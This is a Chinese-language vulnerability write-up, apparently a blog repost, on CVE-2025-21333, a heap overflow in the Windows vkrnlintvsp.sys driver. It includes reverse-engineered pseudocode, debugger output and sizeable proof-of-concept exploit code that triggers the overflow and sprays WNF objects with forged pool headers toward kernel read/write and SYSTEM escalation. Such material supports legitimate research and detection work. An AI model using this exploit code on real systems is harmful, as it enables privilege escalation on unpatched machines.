CVE-2025-21333 Windows 基于堆的缓冲区溢出分析

admin 2025年3月12日21:44:59评论33 views字数 52187阅读173分57秒阅读模式

CVE-2025–21333是Microsoft 检测到的一个漏洞,已被威胁行为者积极利用。Microsoft于 2024 年 1 月 14 日使用KB5050021 (适用于 Windows 11 23H2/22H2)修补了此漏洞。该漏洞是 vkrnlintvsp.sys 驱动程序中基于堆的缓冲区溢出。

检查是在 Windows 11 23H2 系统上进行的,ntoskrnl.exe 和 vkrnlintvsp.sys 的哈希值如下。

PS C:WindowsSystem32drivers> get-filehash .vkrnlintvsp.sys

Algorithm Hash Path
--------- ---- ----
SHA256 28948C65EF108AA5B43E3D10EE7EA7602AEBA0245305796A84B4F9DBDEDDDF77 C:WindowsSystem32driversv...

PS C:WindowsSystem32drivers>

 

PS C:WindowsSystem32> Get-FileHash ntoskrnl.exe

Algorithm Hash Path
--------- ---- ----
SHA256 999C51D12CDF17A57054068D909E88E1587A9A715F15E0DE9E32F4AA4875C473 C:WindowsSystem32ntoskrnl.exe

PS C:WindowsSystem32>

本文的目的是分析该漏洞,开发概念验证(PoC)漏洞,并提供检测指导。

漏洞分析部分详细分析了漏洞,解释了如何到达易受攻击的代码路径以触发崩溃。漏洞利用部分描述了利用漏洞在 ring-0 中实现任意读/写访问并将权限提升到SYSTEM 的过程。限制和改进部分讨论了漏洞利用的限制并提出了对 PoC 的改进建议。同时,补丁分析部分简要概述了 Microsoft 已应用的补丁。最后,检测部分提供了识别潜在漏洞利用尝试的建议。

完整的 PoC 代码可在GitHub 存储库中找到。https://github.com/MrAle98/CVE-2025-21333-POC

注意:此处提供的与 Windows 组件相关的所有代码片段均来自逆向工程,可能并不完全准确。

要求

要利用此漏洞,必须启用Windows Sandbox。以下屏幕截图显示了存在漏洞的 Windows 计算机上激活的所有必要功能。

CVE-2025-21333 Windows 基于堆的缓冲区溢出分析

已启用 Windows 功能

漏洞分析

该漏洞位于内核模式驱动程序vkrnlintvsp.sys的函数VkiRootAdjustSecurityDescriptorForVmwp() 中。

VkiRootAdjustSecurityDescriptorForVmwp

以下是VkiRootAdjustSecurityDescriptorForVmwp()的伪代码。

1: _int64 __fastcall VkiRootAdjustSecurityDescriptorForVmwp(void *object, char accessmask_flag)
2: {
3: [...]
4: ret = ObGetObjectSecurity(object, &SecurityDescriptor, &MemoryAllocated);
5: if ( ret >= 0 )
6: {
7: if ( !SecurityDescriptor )
8: goto LABEL_15;
9: ret = RtlGetDaclSecurityDescriptor(SecurityDescriptor, &DaclPresent, &Dacl, DaclDefaulted);
10: if ( ret < 0 )
11: goto LABEL_16;
12: if ( DaclPresent && Dacl )
13: {
14: ret = SeConvertStringSidToSid(L"S-1-5-83-0", &Sid);
15: if ( ret >= 0 )
16: {
17: ret = SeConvertStringSidToSid(
18: L"S-1-15-3-1024-2268835264-3721307629-241982045-173645152-1490879176-104643441-2915960892-1612460704",
19: &sid_bigger);
20: if ( ret >= 0 )
21: {
22: v6 = RtlLengthSid(Sid); // v6 = 0x10
23: v7 = RtlLengthSid(sid_bigger); // v7 = 0x30
24: v8 = Dacl->AclSize + v7 + v6 + 0x10;
25: // PagedPool
26: Pool2 = (struct _ACL *)ExAllocatePool2((POOL_TYPE)0x100, v8, 'oRiV');
27: v4 = Pool2;
28: if ( Pool2 )
29: {
30: // overflow
31: memmove(Pool2, Dacl, Dacl->AclSize);
32: v4->AclSize = v8;
33: [...]

ExAllocatePool2()中的分配大小由v8 (第 26 行)决定,它是Dacl->AclSize、v7、v6和0x10的总和。值v6和v7不是用户可控制的,因为它们对应于从静态字符串派生的 SID 上的RtlLengthSid()的返回值(第 22-23 行)。

Dacl->AclSize是从作为第一个参数传递给函数的对象的安全描述符中检索的。如果此值是用户可控制的,则可能导致v8中的整数溢出,从而可能导致Pool2引用的内存区域中的基于堆的溢出。这是由于memmove()调用而发生的,其中Dacl和Dacl->AclSize都是用户控制的(第 31 行)。

该易受攻击的函数由VkiRootCalloutCreateEvent()和VkiRootCalloutCreateMutex()调用。

CVE-2025-21333 Windows 基于堆的缓冲区溢出分析

1. 存在漏洞的Proximity浏览器

感谢_4bhishek完成补丁差异和初步分析。

VkiRootCallout创建事件

以下是VkiRootCalloutCreateEvent()的伪代码。

1: __int64 __fastcall VkiRootCalloutCreateEvent(
2: HANDLE *EventHandle,
3: ACCESS_MASK DesiredAccess,
4: POBJECT_ATTRIBUTES ObjectAttributes,
5: ULONG CrossVmEventFlags,
6: GUID *VMID,
7: GUID *ServiceID,
8: char PreviousMode)
9: {
10: [...]
11: memset(&outObjectAttributes, 0, sizeof(outObjectAttributes));
12: if ( CrossVmEventFlags )
13: {
14: ret = 0xC000000D;
15: goto LABEL_27;
16: }
17: if ( !ServiceID || !VMID )
18: {
19: ret = 0xC000000D;
20: goto LABEL_21;
21: }
22: if ( !objectType )
23: {
24: ret = 0xC0000001;
25: goto LABEL_27;
26: }
27: ret = VkiProbeAndGenerateObjectAttributesForCreate(
28: &outObjectAttributes,
29: ServiceID,
30: &a3,
31: &UnicodeString,
32: 1,
33: ObjectAttributes,
34: VMID,
35: ServiceID,
36: PreviousMode);
37: if ( ret < 0 )
38: goto LABEL_21;
39: v13 = (struct _EX_RUNDOWN_REF *)VkiVmContextFind(&a3);
40: v10 = v13;
41: if ( !v13 )
42: {
43: ret = 0xC0000225;
44: goto LABEL_21;
45: }
46: [...]
47: ret = ObCreateObject(0, objectType, &outObjectAttributes, PreviousMode, 0LL, 0x50u, 0, 0, &Object);
48: if ( ret < 0 )
49: goto LABEL_21;
50: [...]
51: v16 = Object;
52: memset(Object, 0, 0x50uLL);
53: [...]
54: ret = ObInsertObject(Object, 0LL, DesiredAccess, 0, 0LL, &Handle);
55: if ( ret < 0 || (ret = VkiRootAdjustSecurityDescriptorForVmwp(Object, 1), ret < 0) )
56: {
57: LABEL_21:
58: if ( Handle )
59: ZwClose(Handle);
60: if ( !v11 )
61: goto LABEL_25;
62: goto LABEL_24;
63: }
64: *EventHandle = Handle;
65: Handle = 0LL;
66: [...]
67: return (unsigned int)ret;
68: }

该函数接受多个参数作为输入,其中包括ObjectAttributes,它包含一个SecurityDescriptor ,而 SecurityDescriptor 又包含一个Dacl。

在调用VkiProbeAndGenerateObjectAttributesForCreate()之前,它首先对输入参数进行几项检查。顾名思义,此函数会生成一个与最初提供的结构相同的新_OBJECT_ATTRIBUTE结构,并将其存储在outObjectAttributes中。

接下来,该函数调用VkiVmContextFind(),如果成功,则调用ObCreateObject(),并将outObjectAttributes作为输入传递以创建Object。最后,它在新创建的Object上调用VkiRootAdjustSecurityDescriptorForVmwp()。

内核扩展

VkiRootCalloutCreateEvent()无法通过 IOCTL 访问。下面是驱动程序入口点DriverEntry()的伪代码。

1: NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT *DriverObject, PUNICODE_STRING RegistryPath)
2: {
3: [...]
4: if ( HviIsHypervisorMicrosoftCompatible() )
5: {
6: v4 = VkiRegisterKernelExtension(DriverObject);
7: [...]
8: }
9: [...]
10: }

它使用以下伪代码调用VkiRegisterKernelExtension() 。

__int64 __fastcall VkiRegisterKernelExtension(DRIVER_OBJECT *a1)
{
  _EX_EXTENSION_REGISTRATION_1 v2; // [rsp+20h] [rbp-28h] BYREF

  *(_DWORD *)&v2.FunctionCount = 17;
  *(_DWORD *)&v2.ExtensionId = 0x3000F;
  v2.DriverObject = a1;
  v2.HostTable = 0LL;
  v2.FunctionTable = &VkiKernelCalloutTable;
  return ExRegisterExtension((_EX_EXTENSION_REGISTRATION_1 *)&extension, 0x10000LL, &v2);
}

它调用ExRegisterExtension(),并将 ExtensionId = 0x3000F 和指向VkiKernelCalloutTable 的指针作为输入传递。VkiKernelCalloutTable指向一个回调数组。

CVE-2025-21333 Windows 基于堆的缓冲区溢出分析

2. VkiKernelCalloutTable 的布局

其中最突出的是VkiRootCalloutCreateEvent()。

ExRegisterExtension是 Microsoft 用于向内核注册驱动程序的一种未公开的机制。当向 Windows 实例添加可选功能(例如 Windows Sandbox)时,可能会用到该机制。Yarden Shafir 已在本文中对该机制进行了逆向工程并进行了详尽解释。

核心概念是,内核首先调用nt!ExRegisterHost来分配一个数据结构,然后将其添加到nt!ExpHostList(一个链接列表)中。该数据结构包含一个ExtensionID,即扩展的 32 位标识符。

当驱动程序加载时,它会调用nt!ExRegisterExtension,提供相同的ExtensionID 和指向回调数组的指针作为输入。然后,nt!ExRegisterExtension通过匹配ExtensionID搜索相应的数据结构,并使用提供的指针更新该结构。

在系统启动过程中,内核通过调用nt!ExRegisterHost并将全局变量VkiExtensionHost_vsp (逆向工程后重命名)作为输入,注册ExtensionID = 0x3000F的扩展。此操作在nt!ExpInitSystemPhase1期间执行。

CVE-2025-21333 Windows 基于堆的缓冲区溢出分析

3. ntoskrnl.exe 注册 ID 为 0x3000F 的扩展

在对VkiExtxensionHost_vsp的 xref 中,ExpCreateCrossVmEvent()尤为突出。

CVE-2025-21333 Windows 基于堆的缓冲区溢出分析

4. 交叉引用至VkiExtxensionHost_vsp

ExpCreateCrossVmEvent

以下是ExpCreateCrossVmEvent()的伪代码。

1: __int64 __fastcall ExpCreateCrossVmEvent(
2: HANDLE *pHandle,
3: ACCESS_MASK DesiredAccess,
4: POBJECT_ATTRIBUTES ObjectAttributes,
5: unsigned int CrossVmEventFlags,
6: LPCGUID VMID,
7: LPCGUID ServiceID,
8: char PreviousMode)
9: {
10: [...]
11: v8 = VkiExtxensionHost_vsp;
12: if ( !ServiceID )
13: v8 = ExpCrossVmIntExtensionHostGuest;
14: ExtensionTable = ExGetExtensionTable(v8);
15: if ( ExtensionTable )
16: {
17: v13 = (*(ExtensionTable + 8))(
18: &v15,
19: DesiredAccess,
20: ObjectAttributes,
21: CrossVmEventFlags,
22: VMID,
23: ServiceID,
24: PreviousMode);
25: if ( v13 >= 0 )
26: *pHandle = v15;
27: ExReleaseExtensionTable(v8);
28: }
29: [...]
30: }

该函数从VkiExtensionHost_vsp中取消引用ExtensionTable(对应于vkrnlintvsp!VkiRootCalloutTable,即已注册回调的数组) ,并调用ExtensionTable + 8处的回调。此偏移量对应于数组中的第二个回调,即VkiRootCalloutCreateEvent(之前在图 №2 中突出显示)。

ExpCreateCrossVmEvent()由NtCreateCrossVmEvent()调用,后者是ntdll.dll中的系统调用。函数定义可在此处找到。

NTSYSCALLAPI
NTSTATUS
NTAPI
NtCreateCrossVmEvent(
    _Out_ PHANDLE CrossVmEvent,
    _In_ ACCESS_MASK DesiredAccess,
    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
    _In_ ULONG CrossVmEventFlags,
    _In_ LPCGUID VMID,
    _In_ LPCGUID ServiceID
    );

触发漏洞

根据之前的分析,调用NtCreateCrossVmEvent()需要传递一个指向_OBJECT_ATTRIBUTES结构的指针,该结构包含一个带有格式错误的_DACL的_SECURITY_DESCRIPTOR,其中DACL.AclSize字段足够大,可以触发 16 位整数溢出。

此外,传递给NtCreateCrossVmEvent() 的VMID 和ServiceID 参数必须是有效的 GUID。当用户启动沙盒时,它实际上会启动WindowsSandbox.exe,然后生成子进程WindowsSandboxClient.exe 。在传递给WindowsSandboxClient.exe 的参数中,ContainerId参数包含有效的 GUID。

以下来自Process Hacker的屏幕截图突出显示了 GUID。

CVE-2025-21333 Windows 基于堆的缓冲区溢出分析

4. 作为参数传递给 WindowsSandboxClient.exe 的 ContainerId GUID 是有效的 GUID

在第一部分中,概念验证通过调用GetSecurityInfo()初始化安全描述符并检索与当前进程关联的 DACL 。

[...] 
    InitializeSecurityDescriptor(&sd,SECURITY_DESCRIPTOR_REVISION);
    GetSecurityInfo(GetCurrentProcess(),SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULLNULL,&pdacl,NULLreinterpret_cast <PSECURITY_DESCRIPTOR*>(&psd));
    other_ace = reinterpret_cast <ACCESS_ALLOWED_ACE*>((char *)pdacl + sizeof(ACL));
    [...]

概念验证在安全描述符中设置了一个新的 DACL,将AclSize调整为0xfff0,将AceCount 调整为 1。然后,它将当前进程的 DACL 中的第一个 ACE 复制到新的 DACL 中。之后,它将 DACL 的剩余字节设置为0x41。

[...]
    sd.Dacl = static_cast<PACL>(VirtualAlloc(NULL0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
    memset(sd.Dacl, 0x00x10000);
    sd.Dacl->AclSize = ROUND_UP(0xfff04);
    sd.Dacl->AclRevision = ACL_REVISION;
    sd.Dacl->AceCount = 1;
    ace = (ACCESS_ALLOWED_ACE*)(sizeof(ACL) + (char*)(sd.Dacl));
    memcpy(ace, other_ace, other_ace->Header.AceSize);
    ace->Header.AceSize = sd.Dacl->AclSize - sizeof(ACL);
    unsignedchar* ptr = (unsignedchar*)(sd.Dacl) + 0x40;
    memset(ptr, 0x410x2000);
    [...]
最后,它在OBJECT_ATTRIBUTES结构中设置创建的安全描述符,该结构将作为参数传递。

[...]
    InitializeObjectAttributes(&oa, NULL0NULL, &sd);
    sd.Control = 0x4;
    [...]

在第二部分中,它获取指向ntdll.dll中必要函数的指针,创建WindowsSandbox.exe进程(如果尚未生成),并尝试获取WindowsSandboxClient.exe的句柄。

HANDLE GetWinSBXCliProcHandle(){
    HANDLE hProcess = NULL;
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        returnNULL;
    }
    if (!Process32First(hSnapshot, &pe32)) {
        CloseHandle(hSnapshot);
        returnNULL;
    }
    do {
        if (wcscmp(pe32.szExeFile, L"WindowsSandboxClient.exe") == 0) {
            hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
            break;
        }
    } while (Process32Next(hSnapshot, &pe32));
    CloseHandle(hSnapshot);
    return hProcess;
} 

intmain(){

    [...]
    NtCreateCrossVmEvent fNtCreateCrossVmEvent = (NtCreateCrossVmEvent)(GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateCrossVmEvent"));
    [...]
    NtQueryInformationProcess fNtQueryInformationProcess = (NtQueryInformationProcess)(GetProcAddress(GetModuleHandleA("ntdll"), "NtQueryInformationProcess"));
    [...]
    hWinsbxclientproc = GetWinSBXCliProcHandle();

    if (hWinsbxclientproc == NULL) {
        printf("[!] WindowsSandboxClient.exe process not foundn");
        std::cout << "[*] spawning windows sandbox" << std::endl;

        if (!CreateProcessA("C:\Windows\System32\WindowsSandbox.exe"NULLNULLNULL, FALSE, CREATE_NO_WINDOW, NULLNULL, &si, &pi)) {
            std::cout << "[-] CreateProcessA failed with error: " << GetLastError() << std::endl;
            return1;
        }
        std::cout << "[*] CreateProcessA returned successfully" << std::endl;

        while (1) {
            Sleep(5000);
            hWinsbxclientproc = GetWinSBXCliProcHandle();
            if (hWinsbxclientproc != NULL && hWinsbxclientproc != INVALID_HANDLE_VALUE) {
                break;
            }
        }
    }

    if (hWinsbxclientproc == NULL) {
        printf("[-] WindowsSandboxClient.exe process not foundn");
        return1;
    }
    [...]
之后,它通过访问 PEB 的地址并多次调用ReadProcessMemory()来检索 GUID。

[...] 
   if (fNtQueryInformationProcess(hWinsbxclientproc, ProcessBasicInformation, &pbi, sizeof(pbi), &ReturnLength) > 0) {
        std::cout << "[-] NtQueryInformationProcess failed with error: " << GetLastError() << std::endl;
        return1;
    }
    std::cout << "[*] NtQueryInformationProcess returned successfully" << std::endl;
    std::cout << "[*] peb_addr = " << std::hex << pbi.PebBaseAddress << std::endl;
    if (!ReadProcessMemory(hWinsbxclientproc, pbi.PebBaseAddress, &peb, sizeof(peb), NULL)) {
        std::cout << "[-] ReadProcessMemory failed with error: " << GetLastError() << std::endl;
        return1;
    }
    std::cout << "[*] ReadProcessMemory returned successfully" << std::endl;
    std::cout << "[*] ProcessParameters = " << std::hex << peb.ProcessParameters << std::endl;
    if (!ReadProcessMemory(hWinsbxclientproc, peb.ProcessParameters, processParams, sizeof(RTL_USER_PROCESS_PARAMETERS), NULL)) {
        std::cout << "[-] ReadProcessMemory failed with error: " << GetLastError() << std::endl;
        return1;
    }
    std::cout << "[*] ReadProcessMemory returned successfully" << std::endl;
    std::cout << "[*] CommandLine = " << processParams->CommandLine.Buffer << std::endl;
    std::cout << "[*] CommandLine_size = " << processParams->CommandLine.MaximumLength << std::endl;

    wchar_t* commandline = new wchar_t[processParams->CommandLine.MaximumLength + 0x2];
    ZeroMemory(commandline, processParams->CommandLine.MaximumLength + 0x2);
    if (!ReadProcessMemory(hWinsbxclientproc, processParams->CommandLine.Buffer, commandline, processParams->CommandLine.MaximumLength, NULL)) {
        std::cout << "[-] ReadProcessMemory failed with error: " << GetLastError() << std::endl;
        return1;
    }
    std::wcout << "[*] commandline = " << commandline << std::endl;

    std::wstring commandline_wstr(commandline);
    delete[] commandline;

    //extracting guid
    std::wstring w_guid(commandline_wstr.substr(5836));

    std::wcout << "[*] extracted guid = " << w_guid << std::endl;

    // Calculating the length of the multibyte string
    size_t len = w_guid.length();
    char* s_guid = new char[len + 2];
    size_t returnedlength = 0;
    wcstombs_s(&returnedlength, s_guid, static_cast<size_t>(len + 2), w_guid.c_str(), len);

    std::cout << "[*] s_guid = " << s_guid << std::endl;
    HRESULT res = 0;

    wchar_t* ws = const_cast<wchar_t*>(w_guid.c_str());

    res = UuidFromStringW(reinterpret_cast<RPC_WSTR>(ws), &guid2);

    if (res != S_OK) {
        std::cout << "[-] IIDFromString failed with error: " << res << std::endl;
        return1;
    }
    [...]

 

最后,它调用NtCreateCrossVmEvent()来触发 BSOD。

[...]     
fNtCreateCrossVmEvent(&hEvent,EVENT_ALL_ACCESS,&oa,0,&guid2,&guid2);
[...]

开发

通过在vkrnlintvsp!VkiRootAdjustSecurityDescriptorForVmwp+0x158 (触发溢出的memmove()之前)设置断点,可以观察到易受攻击的对象(Tag ViRo)的大小为0x50。

0: kd> bp vkrnlintvsp!VkiRootAdjustSecurityDescriptorForVmwp+0x158
0: kd> g
Breakpoint 0 hit
vkrnlintvsp!VkiRootAdjustSecurityDescriptorForVmwp+0x158:
fffff803`138c9b24 e85783ffff call vkrnlintvsp!memcpy (fffff803`138c1e80)
1: kd> !pool @rcx
unable to get nt!PspSessionIdBitmap
Pool page ffff838112abfc50 region is Paged pool
[...]
 ffff838112abfbf0 size50 previous size0  (Allocated) BFst
*ffff838112abfc40 size50 previous size0  (Allocated) *ViRo
    Owning component : Unknown (update pooltag.txt)
 ffff838112abfc90 size50 previous size0  (Free) BFst
 ffff838112abfce0 size50 previous size0  (Free) BFst
 ffff838112abfd30 size50 previous size0  (Free) BFst
 ffff838112abfd80 size50 previous size0  (Allocated) BFst
[...]

因此,分配将由段堆的低碎片堆 (LFH) 管理。有关如何利用段堆中的漏洞的一些优秀资源如下:

  • 抢占 Windows 10 池!

https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf

  • CVE-2021–31956 利用 Windows 内核(带有 WNF 的 NTFS)

https://www.nccgroup.com/us/research-blog/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/

堆操作

首先,需要操纵堆,以便将易受攻击的对象与其他可控对象(这些对象也提供相对读/写原语)一起分配。其中一个对象是WNF_STATE_DATA,正如Alex Plaskett在此处所述。

概念验证首先分配0x2000 个 WNF_STATE_DATA对象 ( statenames1 ),然后分配另外0x2000 个 WNF_STATE_DATA对象 ( statenames2 )。然后它在statenames2中创建漏洞(每 50 个对象一个),触发易受攻击的函数,并重新分配另外0x800 个WNF_STATE_DATA对象 ( statenames3 ) 来覆盖之前引入的漏洞。

[...]
#define STATENAMES1_SIZE 0x2000
#define IORINGS_SIZE 0x500
#define SPRAY_PIPE_COUNT 0x500
#define STATENAMES2_SIZE 0x2000
#define STATENAMES3_SIZE 0x800
[...]
intmain(){
[...]
unsignedchar* ptr = (unsignedchar*)(sd.Dacl) + 0x40;

ULONG DataSize = 0x50 * 0x334//to read all the tampered objects + 1 not tampered object

//the overflow allows to overwrite the next (0xfff0-0x40)/0x50 = 0x332 objects

int i = 0;
while (1) {
    POOL_HEADER* ph = (POOL_HEADER*)(ptr + i * 0x50);
    if (ph < (POOL_HEADER*)(sd.Dacl) + 0x1000 - 0x10) {
        ph->BlockSize = 0x5;
        ph->PoolTag = 0x20666e57;
        ph->PoolType = 0xb & ~(1 << 3); //clear PoolQuota bit (bit index 3)
        ph->PoolIndex = 0x0;
        ph->PreviousSize = 0x0;
        ph->ProcessBilled = (PVOID)0x4242424242424242;
    }
    else {
        break;
    }
    WNF_STATE_DATA* wnf = (WNF_STATE_DATA*)(ptr + i * 0x50 + sizeof(POOL_HEADER));
    if (wnf < (WNF_STATE_DATA*)(sd.Dacl) + 0x1000 - 0x10) {
        wnf->DataSize = DataSize;
        wnf->AllocatedSize = wnf->DataSize;
        wnf->ChangeStamp = 1;
        unsignedchar* data = (unsignedchar*)wnf + sizeof(WNF_STATE_DATA);
        reinterpret_cast<DWORD64*>(data)[0] = i;
        DataSize -= 0x50;
    }
    else {
        break;
    }
    i++;
}
[...]
//first spraying
for (auto& state : statenames1) {
    //std::cout << "state before creation: " << std::hex << state.Data[0] << state.Data[1] << std::endl;

    result = fNtCreateWnfStateName(&state, WnfTemporaryStateName, WnfDataScopeMachine, FALSE, 0, WNF_MAX_DATA_SIZE, &sd_spraying);
    //std::cout << "NtCreateWnfStateName returned " << std::hex << result << std::endl;
    //std::cout << "state: " << std::hex << state.Data[0] << state.Data[1] << std::endl;

    result = fNtUpdateWnfStateData(&state, buffer, 0x300000);

}

//second spraying
for (auto& state : statenames2) {
    result = fNtCreateWnfStateName(&state, WnfTemporaryStateName, WnfDataScopeMachine, FALSE, 0, WNF_MAX_DATA_SIZE, &sd_spraying);
    //std::cout << "NtCreateWnfStateName returned " << std::hex << result << std::endl;
    //std::cout << "state: " << std::hex << state.Data[0] << state.Data[1] << std::endl;
    result = fNtUpdateWnfStateData(&state, buffer, 0x300000);
}

//holes in second spraying
for (int i = STATENAMES2_SIZE - 0x100; i > 0; i -= 50) {
    result = fNtDeleteWnfStateData(&(statenames2[i]), NULL);
    //std::cout << "NtDeleteWnfStateData returned " << std::hex << result << std::endl;
    //std::cout << "freed state " << std::hex << statenames2[i].Data[0] << statenames2[i].Data[1] << std::endl;
}
//triggering overflow
fNtCreateCrossVmEvent(&hEvent, EVENT_ALL_ACCESS, &oa, 0, &guid2, &guid2);

//third spraying
for (auto& state : statenames3) {
    result = fNtCreateWnfStateName(&state, WnfTemporaryStateName, WnfDataScopeMachine, FALSE, 0, WNF_MAX_DATA_SIZE, &sd_spraying);
    //std::cout << "NtCreateWnfStateName returned " << std::hex << result << std::endl;
    //std::cout << "state: " << std::hex << state.Data[0] << state.Data[1] << std::endl;
    result = fNtUpdateWnfStateData(&state, buffer, 0x300000);
}
[...]
}

此外,在喷射之前,我们不会用0x41414141覆盖对象,而是修改 PoC,使得每0x50字节:

  • 它写入一个PoolQuotaBit = 0的POOL_HEADER(这样在释放对象时就不会检查EPROCESS ,正如Corentin Bayet 和 Paul Fariello在此处所述)。

  • 它写入一个WNF_STATE_DATA标头,使得DataSize和AllocatedSize字段介于0x50和0xfff0之间(允许相对读/写原语)。

  • 它在WNF_STATE_DATA主体的前8个字节中写入一个唯一的值,以便以后可以识别。

目标是在溢出发生之前实现如下布局,将易受攻击的对象(标签ViRo)放置在WNF_STATE_DATA对象之中。

0: kd> !pool @rcx
unable to get nt!PspSessionIdBitmap
Pool page ffffc40f0d445990 region is Paged pool
 ffffc40f0d445020 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445070 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d4450c0 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445110 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445160 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d4451b0 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445200 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445250 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d4452a0 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d4452f0 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445340 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445390 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d4453e0 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445430 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445480 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d4454d0 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445520 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445570 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d4455c0 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445610 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445660 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d4456b0 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445700 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445750 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d4457a0 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d4457f0 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445840 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445890 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d4458e0 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445930 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
*ffffc40f0d445980 size50 previous size0  (Allocated) *ViRo
  Owning component : Unknown (update pooltag.txt)
 ffffc40f0d4459d0 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445a20 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445a70 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445ac0 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445b10 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445b60 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445bb0 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445c00 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445c50 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445ca0 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445cf0 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445d40 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445d90 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445de0 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445e30 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445e80 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445ed0 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445f20 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
 ffffc40f0d445f70 size50 previous size0  (Allocated) Wnf Process: ffff8f0adeba90c0
溢出之前,所有WNF_STATE_DATA对象都填充有0x41值。

1: kd> dq @rcx L100 
ffffae04`c8385630 00000000`0000000000000000`00000000 
ffffae04`c8385640 00000000`00000000 00000000`00000000
ffffae04`c8385650 00000000`0000000000000000`00000000 
ffffae04`c8385660 00000000`00000000 00000000`00000000
ffffae04`c8385670 20666e57`0b050000 b6870e75`eb10b09c 
ffffae04`c8385680 00000030`00100904 00000001`00000030
ffffae04`c8385690 41414141`4141414141414141`41414141 
ffffae04`c83856a0 41414141`41414141 41414141`41414141
ffffae04`c83856b0 41414141`4141414141414141`41414141 
ffffae04`c83856c0 20666e57`0b050000 b6870e75`eb10b02c 
ffffae04`c83856d0 00000030`0010090400000001`00000030 
ffffae04`c83856e0 41414141`41414141 41414141`41414141
ffffae04`c83856f0 41414141`4141414141414141`41414141 
ffffae04`c8385700 41414141`41414141 41414141`41414141
ffffae04`c8385710 20666e57`0b050000 b6870e75`eb10b1fc 
ffffae04`c8385720 00000030`00100904 00000001`00000030
ffffae04`c8385730 41414141`4141414141414141`41414141 
ffffae04`c8385740 41414141`41414141 41414141`41414141
ffffae04`c8385750 41414141`4141414141414141`41414141 
ffffae04`c8385760 20666e57`0b050000 b6870e75`eb10b18c 
ffffae04`c8385770 00000030`0010090400000001`00000030 
ffffae04`c8385780 41414141`41414141 41414141`41414141
ffffae04`c8385790 41414141`4141414141414141`41414141 
